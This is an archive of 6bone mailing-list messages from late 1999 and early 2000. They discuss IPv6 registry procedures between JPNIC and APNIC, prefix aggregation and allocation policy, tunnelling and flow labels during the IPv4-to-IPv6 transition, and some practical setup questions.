From 6bone-owner  Wed Dec 22 15:14:12 1999
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To: Thomas Wahyudi <1193016@student.unpar.ac.id>
Cc: rogelio_s@quickweb.com.ph, 6bone@ISI.EDU
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On Fri, Dec 10, 1999 at 04:18:57PM +0700, Thomas Wahyudi wrote:
> On Fri, 10 Dec 1999 rogelio_s@quickweb.com.ph wrote:
>=20
> ] Can I join 6bone on  a dialup connection?
>=20
> yes, you can.
> perharps you should try freenet6 service
> http://www.freenet6.net
>=20

What about people like me who have their home network on a dialup
connection?  I could really use the standard 64-bit address space.=20

--=20
"I already have all the latest software."
     -- Laura Winslow, "Family Matters"

Dwayne C. Litzenberger - dlitz@cheerful.com

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To: Herman Strom <hermans@touro.edu>
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[snip]
> [lyonb://usr/src/linux#]> patch -p1 < ../tr_ipv6.patch
> patching file drivers/net/ibmtr.c
> Hunk #1 FAILED at 1621.
> 1 out of 1 hunk FAILED -- saving rejects to file
> drivers/net/ibmtr.c.rej
> patching file drivers/net/net_init.c
> Hunk #1 succeeded at 524 (offset 1 line).
> Hunk #2 FAILED at 587.
> Hunk #3 FAILED at 642.
> 2 out of 3 hunks FAILED -- saving rejects to file
> drivers/net/net_init.c.rej
> patching file include/linux/if_tr.h
> patch: **** malformed patch at line 59: LINUX
>=20
> What did I do wrong?
[snip]

Sometimes it's as easy as using a fuzz of 3 or 4.  (eg patch -F 3 )

--=20
"I already have all the latest software."
     -- Laura Winslow, "Family Matters"

Dwayne C. Litzenberger - dlitz@cheerful.com

Please always Cc to me when replying to me on the lists.

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To: 6bone@ISI.EDU
Subject: Re: stla registry db issue
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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From: Brian E Carpenter <brian@hursley.ibm.com>
Subject: Re: stla registry db issue

> My concern is that the way Kazu asked his question, with the concern
> about frequent updates, did not seem compatible with the idea of
> slow start and hierarchical aggregation. If we don't start with
> habits that create aggressive aggregation, IPv6 routing will be in
> deep trouble as it grows.

We never discuss routing problems. We are talking about issues on
registry DB updates.

> I also have a concern that if an operator is really an ISP, giving
> them an NLA instead of a subTLA may be a problem until we have
> proved how to do convenient renumbering. What happens when they want
> to migrate away from using WIDE as their aggregator? (I realise that
> this is a heretical thought, since the current rules on subTLAs are
> more restrictive.)

This is also out of the scope of kenken's question.

Kenken asked how to eat an apple. You said it is not an orange.

> However, I agree that Kazu is not describing a strict violation of
> the RFCs.

I don't see *any* violation. Our activities are consistent to all
RFCs, I believe.

--Kazu

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Date: Thu, 23 Dec 1999 11:00:52 +0900 (JST)
Message-Id: <19991223.110052.41633972.kazu@Mew.org>
To: 6bone@ISI.EDU
Subject: registry DB issues
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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----Next_Part(Thu_Dec_23_11:00:52_1999_535)--
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I think it is a good time to explain what's going on between APNIC and
JPNIC. I will explain it with a JPNIC hat.

Some countries has a NIR under a RIR. For example, there is JPNIC in
Japan, which is a sub registry under APNIC.

In such country, *IPv4* address space is allocated as follows:

(1) IPv4 address block is deligated to the NIR by the RIR.
(2) An ISP requests IPv4 address block to the NIR.
(3) The NIR assigns a portion of the IPv4 address block to the ISP.
(4) The ISP assigns some IPv4 addresss to its customers.
(5) The ISP updates customer information on NIR DB.
(6) The NIR configures DNS reverse lookup according to the information.

For IPv6, there are many differences.

(a) The RIR has IPv6 sTLA block and its DB.
(b) An ISP requests a sTLA to the RIR.
(c) RIR assigns a sTLA to the ISP and RIR configures DNS reverse
    lookup (/35) to ISP's DNS server.
(d) The ISP has responsibility to update RIR DB. Also, it is up to ISP
    to configure DNS reverse lookup for its customers.

So, our current question is what roles NIR should play in this model?

Kenken's plan is as follows:

(i)   Prepare NIR DB.
(ii)  ISPs updates NIR DB.
(iii) The NIR syncs its DB with RIR DB.

Currently, this is a tough job, at least for JPNIC. So, WIDE Project
decided to do research on this for JPNIC.

P.S.

As far as (b) is concerned, JPNIC is preparing agency service. For more 
information, see an attached message.

--Kazu

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Date: Mon, 13 Dec 1999 12:54:53 +0900 (JST)
Message-Id: <19991213.125453.112542885.kazu@Mew.org>
To: nir-discuss@ns.apnic.net
Subject: [JPNIC ip-v6 170] the entire procedure
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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Here is the entire picture of the JPNIC service for sTLA. If you have
comments, please speak up right now.

(0) JPNIC prepares a web page which is a modification version of
    APNIC's one. Also, JPNIC prepares some documents on the service.

(1) A sTLA applicant of JPNIC member (say an ISP hereafter) first
    obtains a APNIC NIC handle from APNIC.

(2) The ISP fills the web then press the submit button. An email will
    be sent to the ISP according to the email address in the form.

	The intention here is authentication of email reachability.

(3) When the ISP receives the email, the ISP checks out the form. If
    there are no errors, the ISP sends the form to JPNIC by email.

(4) When JPNIC receives the email from the ISP, JPNIC sees whether or
    not the form is sent by JPNIC members. If so, JPNIC forwards the
    form to APNIC.

(5) APNIC may want to ask some questions to the ISP. In this case,
    APNIC sends them to JPNIC. JPNIC then relays questions/answers
    between APNIC and the ISP.

(6) APNIC assigns one sTLA to the ISP then tells APNIC. JPNIC relays
    the notification to the ISP.

(7) JPNIC requests payment for the ISP.

(8) The ISP pays the fee.

(9) JPNIC pays 245.76 USD into APNIC account.

--Kazu


----Next_Part(Thu_Dec_23_11:00:52_1999_535)----

From 6bone-owner  Thu Dec 23 02:19:58 1999
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From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: brian@hursley.ibm.com
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
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>OK, as long as we never see anything longer than a /29 from the outside, of course.
>That is what matters.
>
>   Brian

  Brian,

  so what are we supposed to do with the /35 sTLA allocations that
  the RIRs dish out for permanent (as opposed to 6bone) addresses?
  
  Puzzled.
  
  Regards,
  Wilfried.
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB (&NIC) Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 __________________________________________________________________________

From 6bone-owner  Thu Dec 23 09:35:59 1999
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Date: Thu, 23 Dec 1999 09:35:24 -0800
To: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=) <kazu@iijlab.net>
From: Bob Fink <fink@es.net>
Subject: Re: registry DB issues
Cc: 6BONE List <6bone@ISI.EDU>
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Kazu,

I have looked over your (JPNIC) plans for how, as a national registry, to 
interact with APNIC for IPv6 allocation to your cusomers. I think it is a 
good plan, and makes logical sense.

I hope that other national registries can so similar things around the world.


Thanks,

Bob

At 11:00 AM 12/23/99 +0900, =?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?= wrote:
>I think it is a good time to explain what's going on between APNIC and
>JPNIC. I will explain it with a JPNIC hat.
>
>Some countries has a NIR under a RIR. For example, there is JPNIC in
>Japan, which is a sub registry under APNIC.
>
>In such country, *IPv4* address space is allocated as follows:
>
>(1) IPv4 address block is deligated to the NIR by the RIR.
>(2) An ISP requests IPv4 address block to the NIR.
>(3) The NIR assigns a portion of the IPv4 address block to the ISP.
>(4) The ISP assigns some IPv4 addresss to its customers.
>(5) The ISP updates customer information on NIR DB.
>(6) The NIR configures DNS reverse lookup according to the information.
>
>For IPv6, there are many differences.
>
>(a) The RIR has IPv6 sTLA block and its DB.
>(b) An ISP requests a sTLA to the RIR.
>(c) RIR assigns a sTLA to the ISP and RIR configures DNS reverse
>     lookup (/35) to ISP's DNS server.
>(d) The ISP has responsibility to update RIR DB. Also, it is up to ISP
>     to configure DNS reverse lookup for its customers.
>
>So, our current question is what roles NIR should play in this model?
>
>Kenken's plan is as follows:
>
>(i)   Prepare NIR DB.
>(ii)  ISPs updates NIR DB.
>(iii) The NIR syncs its DB with RIR DB.
>
>Currently, this is a tough job, at least for JPNIC. So, WIDE Project
>decided to do research on this for JPNIC.
>
>P.S.
>
>As far as (b) is concerned, JPNIC is preparing agency service. For more
>information, see an attached message.
>
>--Kazu
>
>Date: Mon, 13 Dec 1999 12:54:53 +0900 (JST)
>To: nir-discuss@ns.apnic.net
>Subject: [JPNIC ip-v6 170] the entire procedure
>From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
>  <kazu@iijlab.net>
>
>Here is the entire picture of the JPNIC service for sTLA. If you have
>comments, please speak up right now.
>
>(0) JPNIC prepares a web page which is a modification version of
>     APNIC's one. Also, JPNIC prepares some documents on the service.
>
>(1) A sTLA applicant of JPNIC member (say an ISP hereafter) first
>     obtains a APNIC NIC handle from APNIC.
>
>(2) The ISP fills the web then press the submit button. An email will
>     be sent to the ISP according to the email address in the form.
>
>         The intention here is authentication of email reachability.
>
>(3) When the ISP receives the email, the ISP checks out the form. If
>     there are no errors, the ISP sends the form to JPNIC by email.
>
>(4) When JPNIC receives the email from the ISP, JPNIC sees whether or
>     not the form is sent by JPNIC members. If so, JPNIC forwards the
>     form to APNIC.
>
>(5) APNIC may want to ask some questions to the ISP. In this case,
>     APNIC sends them to JPNIC. JPNIC then relays questions/answers
>     between APNIC and the ISP.
>
>(6) APNIC assigns one sTLA to the ISP then tells APNIC. JPNIC relays
>     the notification to the ISP.
>
>(7) JPNIC requests payment for the ISP.
>
>(8) The ISP pays the fee.
>
>(9) JPNIC pays 245.76 USD into APNIC account.
>
>--Kazu


From 6bone-owner  Thu Dec 23 14:41:50 1999
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Date: Thu, 23 Dec 1999 16:33:12 -0600
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
CC: 6bone@ISI.EDU
Subject: Re: stla registry db issue
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"Wilfried Woeber, UniVie/ACOnet" wrote:
> 
> >OK, as long as we never see anything longer than a /29 from the outside, of course.
> >That is what matters.
> >
> >   Brian
> 
>   Brian,
> 
>   so what are we supposed to do with the /35 sTLA allocations that
>   the RIRs dish out for permanent (as opposed to 6bone) addresses?

The RIR policy is to reserve the whole /29 for expansion of the /35.
They promised never to allocate parts of the same /29 to more than
one user.

Therefore, the /35 can be announced simply by announcing the whole /29
that contains it. There will never be anyone else in that /29, so there
is no need to announce the longer prefix.

We must establish this principle solidly now, so that we **never** see
holes punched in /29s.

  Brian



From 6bone-owner  Thu Dec 23 14:42:01 1999
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Subject: Re: stla registry db issue
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		<4.2.2.19991222073443.00b6fd50@imap2.es.net>
		<386108AF.E70A1FCC@hursley.ibm.com> <19991223.103203.74749188.kazu@Mew.org>
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"Kazu Yamamoto ($B;3K\OBI'(B)" wrote:
> 
> From: Brian E Carpenter <brian@hursley.ibm.com>
> Subject: Re: stla registry db issue
> 
> > My concern is that the way Kazu asked his question, with the concern
> > about frequent updates, did not seem compatible with the idea of
> > slow start and hierarchical aggregation. If we don't start with
> > habits that create aggressive aggregation, IPv6 routing will be in
> > deep trouble as it grows.
> 
> We never discuss routing problems. We are talking about issues on
> registry DB updates.

I know. My worry is that any errors in allocation policy will damage
aggregation in the routing tables, which as IPv4 proves is impossible to fix later.

> 
> > I also have a concern that if an operator is really an ISP, giving
> > them an NLA instead of a subTLA may be a problem until we have
> > proved how to do convenient renumbering. What happens when they want
> > to migrate away from using WIDE as their aggregator? (I realise that
> > this is a heretical thought, since the current rules on subTLAs are
> > more restrictive.)
> 
> This is also out of the scope of kenken's question.
> 
> Kenken asked how to eat an apple. You said it is not an orange.

Yes, I was confused. 

> 
> > However, I agree that Kazu is not describing a strict violation of
> > the RFCs.
> 
> I don't see *any* violation. Our activities are consistent to all
> RFCs, I believe.

I agree.

   Brian


From 6bone-owner  Thu Dec 23 16:48:06 1999
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Date: Thu, 23 Dec 1999 16:48:00 -0800 (PST)
Cc: woeber@cc.univie.ac.at, 6bone@ISI.EDU
In-Reply-To: <3862A328.1F943814@hursley.ibm.com> from "Brian E Carpenter" at Dec 23, 99 04:33:12 pm
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% >   so what are we supposed to do with the /35 sTLA allocations that
% >   the RIRs dish out for permanent (as opposed to 6bone) addresses?
% 
% The RIR policy is to reserve the whole /29 for expansion of the /35.
% They promised never to allocate parts of the same /29 to more than
% one user.
% 
% Therefore, the /35 can be announced simply by announcing the whole /29
% that contains it. There will never be anyone else in that /29, so there
% is no need to announce the longer prefix.
% 
% We must establish this principle solidly now, so that we **never** see
% holes punched in /29s.
% 
%   Brian

	This has its own set of problems.  See the current discussion
	on micro-allocations inside ARIN.  In IPv4 parlence, it seems
	a tremendous waste of space to delegate a /19 for a site that
	will never have more than a few hosts yet will be multiply 
	homed. What I see here is the same argument, a /29 for a small
	set of nodes that will -never- meet the growth prospects for 
	numbers of end-nodes.  Historically this was also the case for
	IPv4 and its design, pre-subnetting.  It became clear that 
	there would not be a small number of networks with millions of
	nodes.  Hence the initial subnettting model (class A/B/C) and
	the CIDR refinements. 
	Is it just me or are we failing to learn from history here?
	This looks like a small number of networks with order(n) number
	of end-systems... all over again.

--bill

From 6bone-owner  Thu Dec 23 19:35:44 1999
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Date: Fri, 24 Dec 1999 14:35:43 +1100 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Bill Manning <bmanning@ISI.EDU>
cc: Brian E Carpenter <brian@hursley.ibm.com>, woeber@cc.univie.ac.at,
        6bone@ISI.EDU
Subject: Re: stla registry db issue
In-Reply-To: <199912240048.QAA21438@zephyr.isi.edu>
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On Thu, 23 Dec 1999, Bill Manning wrote:

> % >   so what are we supposed to do with the /35 sTLA allocations that
> % >   the RIRs dish out for permanent (as opposed to 6bone) addresses?
> % 
> % The RIR policy is to reserve the whole /29 for expansion of the /35.
> % They promised never to allocate parts of the same /29 to more than
> % one user.
> % 
> % Therefore, the /35 can be announced simply by announcing the whole /29
> % that contains it. There will never be anyone else in that /29, so there
> % is no need to announce the longer prefix.
> % 
> % We must establish this principle solidly now, so that we **never** see
> % holes punched in /29s.
> % 
> %   Brian
> 
> 	This has its own set of problems.  See the current discussion
> 	on micro-allocations inside ARIN.  In IPv4 parlence, it seems
> 	a tremendous waste of space to delegate a /19 for a site that
> 	will never have more than a few hosts yet will be multiply 
> 	homed. What I see here is the same argument, a /29 for a small
> 	set of nodes that will -never- meet the growth prospects for 
> 	numbers of end-nodes.  Historically this was also the case for
> 	IPv4 and its design, pre-subnetting.  It became clear that 
> 	there would not be a small number of networks with millions of
> 	nodes.  Hence the initial subnettting model (class A/B/C) and
> 	the CIDR refinements. 
> 	Is it just me or are we failing to learn from history here?
> 	This looks like a small number of networks with order(n) number
> 	of end-systems... all over again.
> 
> --bill
> 

A micro allocation in V6 is quite a bit different to V4 in that the basic /64
unit should cater for virtually unlimited numbers of hosts.  Allowing a small
number of bits for subnetting & routing would be all that's needed, so I would
suggest anything between /48 & /64 would be more than adequate.

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Thu Dec 23 20:02:45 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199912240402.UAA01583@zephyr.isi.edu>
Subject: Re: stla registry db issue
To: peter@jazz-1.trumpet.com.au (Peter Tattam)
Date: Thu, 23 Dec 1999 20:02:35 -0800 (PST)
Cc: bmanning@ISI.EDU, brian@hursley.ibm.com, woeber@cc.univie.ac.at,
        6bone@ISI.EDU
In-Reply-To: <Pine.BSF.3.96.991224143150.26240A-100000@jazz-1.trumpet.com.au> from "Peter Tattam" at Dec 24, 99 02:35:43 pm
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% > % >   so what are we supposed to do with the /35 sTLA allocations that
% > % >   the RIRs dish out for permanent (as opposed to 6bone) addresses?
% > % 
% > % The RIR policy is to reserve the whole /29 for expansion of the /35.
% > % They promised never to allocate parts of the same /29 to more than
% > % one user.
% > % 
% > % Therefore, the /35 can be announced simply by announcing the whole /29
% > % that contains it. There will never be anyone else in that /29, so there
% > % is no need to announce the longer prefix.
% > % 
% > % We must establish this principle solidly now, so that we **never** see
% > % holes punched in /29s.
% > % 
% > %   Brian
% > 
% > 	This has its own set of problems.  See the current discussion
% > 	on micro-allocations inside ARIN.  In IPv4 parlence, it seems
% > 	a tremendous waste of space to delegate a /19 for a site that
% > 	will never have more than a few hosts yet will be multiply 
% > .....
% > 	Is it just me or are we failing to learn from history here?
% > 	This looks like a small number of networks with order(n) number
% > 	of end-systems... all over again.
% > 
% > --bill
% > 
% 
% A micro allocation in V6 is quite a bit different to V4 in that the basic /64
% unit should cater for virtually unlimited numbers of hosts.  Allowing a small
% number of bits for subnetting & routing would be all that's needed, so I would
% suggest anything between /48 & /64 would be more than adequate.
% 
% Peter


	Er, that is pretty much exactly the point I was trying to make.
	If Brian is right and that group is successful in restricting 
	announcements to /29's, how much space is wasted for the sixty
	nodes that form the cluster "www.bigco.com" that has connections
	to 20 major ISPs?

	

-- 
--bill

From 6bone-owner  Fri Dec 24 06:33:04 1999
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Date: Fri, 24 Dec 1999 09:31:17 -0500 (EST)
From: "Michael H. Lambert" <lambert@psc.edu>
To: Bill Manning <bmanning@ISI.EDU>
cc: 6bone@ISI.EDU
Subject: Re: stla registry db issue
In-Reply-To: <199912240402.UAA01583@zephyr.isi.edu>
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On Thu, 23 Dec 1999, Bill Manning wrote:
> 
> 	Er, that is pretty much exactly the point I was trying to make.
> 	If Brian is right and that group is successful in restricting 
> 	announcements to /29's, how much space is wasted for the sixty
> 	nodes that form the cluster "www.bigco.com" that has connections
> 	to 20 major ISPs?

But is "bigco.com" a transit IPv6 provider?  My understanding is that if
it isn't, it should never be allocated its own TLA.  It should receive a
small block from each of its ISPs.  Or am I missing something?

Michael

+----------------------------------------------------------------------------+
| Michael H. Lambert, Network Engineer                Phone: +1 412 268-4960 |
| Pittsburgh Supercomputing Center                    FAX:   +1 412 268-8200 |
| 4400 Fifth Avenue, Pittsburgh, PA  15213            lambert@psc.edu        |
+----------------------------------------------------------------------------+



From 6bone-owner  Fri Dec 24 07:54:11 1999
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Message-Id: <199912241554.HAA03307@zephyr.isi.edu>
Subject: Re: stla registry db issue
To: lambert@psc.edu (Michael H. Lambert)
Date: Fri, 24 Dec 1999 07:54:03 -0800 (PST)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.4.10.9912240928010.6793-100000@ebola.psc.edu> from "Michael H. Lambert" at Dec 24, 99 09:31:17 am
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% 
% On Thu, 23 Dec 1999, Bill Manning wrote:
% > 
% > 	Er, that is pretty much exactly the point I was trying to make.
% > 	If Brian is right and that group is successful in restricting 
% > 	announcements to /29's, how much space is wasted for the sixty
% > 	nodes that form the cluster "www.bigco.com" that has connections
% > 	to 20 major ISPs?
% 
% But is "bigco.com" a transit IPv6 provider?  My understanding is that if
% it isn't, it should never be allocated its own TLA.  It should receive a
% small block from each of its ISPs.  Or am I missing something?
% 
% Michael

	Nope, its not. But it has -lots- of cash and is willing to 
	do whatever it takes.  Same as today for folks dealing w/ the
	micro-allocation issue.  They don't want to get a small block
	from each of their providers and run virtual interfaces, they
	want a canonical name/number mapping. e.g.  www.bigco.com
	is always reachable at 127.127.0.127.       


-- 
--bill

From 6bone-owner  Sat Dec 25 11:26:58 1999
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 25 Dec 1999 14:26:59 -0500
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"Michael H. Lambert" <lambert@psc.edu> writes:
> On Thu, 23 Dec 1999, Bill Manning wrote:
> > 
> > 	Er, that is pretty much exactly the point I was trying to make.
> > 	If Brian is right and that group is successful in restricting 
> > 	announcements to /29's, how much space is wasted for the sixty
> > 	nodes that form the cluster "www.bigco.com" that has connections
> > 	to 20 major ISPs?
> 
> But is "bigco.com" a transit IPv6 provider?  My understanding is that if
> it isn't, it should never be allocated its own TLA.  It should receive a
> small block from each of its ISPs.  Or am I missing something?

Anyone out there who thinks they can actually prevent GM or Yahoo or
the like from getting their own routes announced should talk to an
anti-trust lawyer.

Perry

From 6bone-owner  Mon Dec 27 19:38:12 1999
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Hi all,
    I am a graduate student in Houston, about to begin work on some =
aspect of IPv6. I am currently involved in Literary Survey, and am yet =
to narrow down mu problem statement. I have narrowed it down to doing =
some work on routing aspects of 4 to 6 transition, especially concerned =
with Automatic Tunneling. I would be obliged if someone on the list =
could guide me furthur with some current problems in this area which are =
yet to be solved.
    Please add a cc to my address snaraya2@bayou.uh.edu while replying =
to the mail. Thanks a lot in advance.

Shiva

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<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I am a graduate =
student in=20
Houston, about to begin work on some aspect of IPv6. I am currently =
involved in=20
Literary Survey, and am yet to narrow down mu problem statement. I have =
narrowed=20
it down to doing some work on routing aspects of 4 to 6 transition, =
especially=20
concerned with Automatic Tunneling. I would be obliged if someone on the =
list=20
could guide me furthur with some current problems in this area which are =
yet to=20
be solved.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; Please add a cc to =
my address <A=20
href=3D"mailto:snaraya2@bayou.uh.edu">snaraya2@bayou.uh.edu</A> while =
replying to=20
the mail. Thanks a lot in advance.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Shiva</FONT></DIV></BODY></HTML>

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From 6bone-owner  Tue Dec 28 11:59:52 1999
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Date: Tue, 28 Dec 1999 11:51:15 -0600
From: Brian E Carpenter <brian@hursley.ibm.com>
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Subject: prefix lengths [was Re: stla registry db issue]
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Folks,

2**64 is a big number. It's the square of 2**32 if nobody noticed. The majority of
BigCos will be able to understand this and use no more than an SLA. If there are a few
idiot CIOs who insist on more for no good reason, it isn't the end of the world.

I am very relaxed about /29s being reserved at this stage of the life of IPv6,
because 2**29 is also a big number. I'm not recommending any change in the RIR
guideline of only allocating /35s; all I'm doing is saying that we must stick
to the rule of not splitting /29s between ISPs.

If BigCo is 20-homed, and doesn't want to deal with 20 prefixes, then I can certainly
see a case for them leasing a prefix that can be in the default-free table. But this
really will be the exception case. What we must do is ensure that a 2-homed site can
easily deal with 2 prefixes. BTW, how many 6bone sites are multihomed today?

   Brian

"Perry E. Metzger" wrote:
> 
> "Michael H. Lambert" <lambert@psc.edu> writes:
> > On Thu, 23 Dec 1999, Bill Manning wrote:
> > >
> > >     Er, that is pretty much exactly the point I was trying to make.
> > >     If Brian is right and that group is successful in restricting
> > >     announcements to /29's, how much space is wasted for the sixty
> > >     nodes that form the cluster "www.bigco.com" that has connections
> > >     to 20 major ISPs?
> >
> > But is "bigco.com" a transit IPv6 provider?  My understanding is that if
> > it isn't, it should never be allocated its own TLA.  It should receive a
> > small block from each of its ISPs.  Or am I missing something?
> 
> Anyone out there who thinks they can actually prevent GM or Yahoo or
> the like from getting their own routes announced should talk to an
> anti-trust lawyer.
> 
> Perry

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter (IAB Chair)
Program Director, Internet Standards & Technology, IBM 
On assignment for IBM at http://www.iCAIR.org 
Attend INET 2000: http://www.isoc.org/inet2000
Non-IBM email: brian@icair.org



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Date: Thu, 30 Dec 1999 11:00:36 +0800 (CST)
From: Maoke Chen <cmk@6bone.ipv6.net.edu.cn>
Message-Id: <199912300300.LAA09753@6bone.ipv6.net.edu.cn>
To: 6bone@ISI.EDU, rrockell@sprint.net
Subject: Re: Sprint (3ffe:2900::/24) change announcement
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Robert,

Happy New Year at first!

About your policy changing, Could I ask you for keeping our backup
peer? (i.e. that one between 202.38.99.1 and 208.19.223.204.

Thanks and Best Wishes,
Maoke

From 6bone-owner  Fri Dec 31 18:10:27 1999
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From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Two questions
Date: Fri, 31 Dec 1999 21:10:13 -0500
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Hello from Gregg C Levine usually at Jedi Knight Computers
I have two questions for the crowd on this mailing list:
The first one is: Is anyone who is US based aware of access for the 6Bone 
project through a dial-up account from a non-participating ISP? This 
service provider AT&T Worldnet, so far has not moved in the direction that 
this list is moving into.

The second question is:Is anyone working with the RSVP protocol, either on 
Linux/UNIX/Solaris, or on Windows? Also included on the non-Microsoft side 
is the operating systems for SGI workstations.

Please realize that these are serious questions, as my group and I, are 
looking for new, and noteworthy questions to answer, and solutions to 
provide.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"They were in the wrong place, at the wrong time, naturally they became 
heroes."
Princess Leia Organna of Alderann, Senator
"Remember, the Force will be with you."
Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)
"May the Force be with you." Anonymous


From 6bone-owner  Mon Jan  3 17:00:36 2000
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Date: Mon, 03 Jan 2000 19:00:42 -0600
From: Shiva Narayanaswamy <snaraya2@Bayou.UH.EDU>
Subject: Re:
To: users@ipv6.org, 6bone@ISI.EDU
Cc: Scott Mace <smace@intt.ORG>
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    Thanks a lot for the reply.  I am aware of the fact that automatic
tunnelling is not very prevalent in current designs. But I am trying to
concentrate on "The Flag Day" , when we go in for a global transition to
IPv6. But I have not yet been able to arrive upon a single problem statement
on which to work. I do have a couple of more questions.
    I was wondering as to how the priority field of a IPv6 packet gets
translated while being encapsulated into an IPv4 packet, so that the same
QoS is maintained even within the tunnel. Also how do we ensure that all the
IP packets of the same flow label follow the same path and pass through the
same tunnel?

Thanks again for the response,

Shiva

> >
> > Hi all,
> >     I am a graduate student in Houston, about to begin work on some
aspect
> > of IPv6. I am currently involved in Literary Survey, and am yet to
narrow
> > down mu problem statement. I have narrowed it down to doing some work on
> > routing aspects of 4 to 6 transition, especially concerned with
Automatic
> > Tunneling. I would be obliged if someone on the list could guide me
furthur
> > with some current problems in this area which are yet to be solved.
> >     Please add a cc to my address snaraya2@bayou.uh.edu
> > <mailto:snaraya2@bayou.uh.edu>  while replying to the mail. Thanks a lot
in
> > advance.
>
>
> >From a backbone aspect, there probably won't be much automatic tunneling.
The
> current designs are for native backbones and ipv6-in-ipv4 tunnels.
Currently
> there are no plans for a transition to ipv6 globally.  IPv6 is mostly used
for
> experimentation.  I don't know of any commercial backbones that are
supporting
> ipv6 as a service.  Just recently the various regional registries have
begun
> to allocate TLAs to qualified backbones.  I would check our www.arin.net.
>
> On the enterprise side, most sides simply run a dual stack.  I havn't
heard of
> anyone doing automatic tunneling.
>
>
> I hope this gives you some pointers.
>
>
> Scott
>


From 6bone-owner  Mon Jan  3 20:21:05 2000
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To: Shiva Narayanaswamy <snaraya2@Bayou.UH.EDU>
Cc: users@ipv6.org, 6bone@ISI.EDU, Scott Mace <smace@intt.ORG>
Subject: Re: 
In-reply-to: Your message of "Mon, 03 Jan 2000 19:00:42 CST."
             <00e601bf564f$1fb899a0$a8030781@phys.uh.edu> 
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Shiva,

 >   Thanks a lot for the reply.  I am aware of the fact that automatic
>tunnelling is not very prevalent in current designs. But I am trying to
>concentrate on "The Flag Day" , when we go in for a global transition to
>IPv6. But I have not yet been able to arrive upon a single problem statement
>on which to work. I do have a couple of more questions.

I don't think a flag day will ever work no matter how minimal the nodes
are for the transition except for a home user and the ISP is now doing
IPv6 and even then assuming all the apps have been ported to IPv6 would
have to be an a priori.  I believe all transition mechanisms defined in
the IETF and out of the IETF all assume no flag day.  Even if lets say
cell devices moved to IPv6 (which seems logical to many of us) they
would still have to interoperate with IPv4 for some parts assuming all
infrastructure was able to utilize Ipv6 for Wireless and Mobile paradigms 
in a specific geo-market segment (e.g. Sprint, Deutch Telecom, Singapore
Telecom, etc).

>    I was wondering as to how the priority field of a IPv6 packet gets
>translated while being encapsulated into an IPv4 packet, so that the same
>QoS is maintained even within the tunnel. Also how do we ensure that all the
>IP packets of the same flow label follow the same path and pass through the
>same tunnel?

If you mean the traffic class field diff serve group has done a good job
keeping them the same.  So that IP header field should mean the same
thing for most cases.  Though I have to read the latest specs on
aggregation of diff serve with RSVP.

If you mean the flow label this is still not officially defined except
for RSVP via the Flow Spec.  And this will only work with IPv6 capable
nodes.  If we do define a means to pass thru as you say the Ipv6
flowlabel plus the dst address, it will not be possible today if the
packet is encapsulated within IPv4 packet to maintain the same state
defined by the address+flowlabel in IPv6.  I say today because I guess
it would be possible to define some IPv4 "option" to carry the IPv6
flowlabel in the Ipv4 packet or possible in a route proto-id TBD.  But
getting that kind of idea done in IPv4 I think has zero chance for
success in the market unless Ipv6 gets much more deployed and then maybe
something like that may happen as a defined assistance transition
mechanism.

But if you have ideas to help this along I think all of us are all ears.

/jim


From 6bone-owner  Sun Jan  9 13:17:23 2000
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From: "Dwayne C . Litzenberger" <dlitz@cheerful.com>
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I'm not really knowledgeable about this, but what is a good, standard way
to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
address.:port (dot-colon) would be good (and it already works with domain
names), but I haven't seen this done yet.=20

Any thoughts?=20


Please always Cc to me when replying to me on the lists.

--=20
"If you continue running Windows, your system may become unstable."
     -- Windows 95 BSOD

Dwayne C. Litzenberger - dlitz@cheerful.com

Please always Cc to me when replying to me on the lists.

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From 6bone-owner  Sun Jan  9 23:07:17 2000
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To: "Dwayne C . Litzenberger" <dlitz@cheerful.com>
Cc: Quake Development Mailing List <quake-devel@lists.sourceforge.net>,
        6bone@ISI.EDU, debian-ipv6@lists.debian.org,
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Subject: Re: IPv6 address/port format
In-Reply-To: Dwayne C . Litzenberger's message of Sun, 9 January 2000 15:16:45 -0600 <20000109151645.A5340@dlitz.dyn.dhs.org>
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"Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> I'm not really knowledgeable about this, but what is a good, standard way
> to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
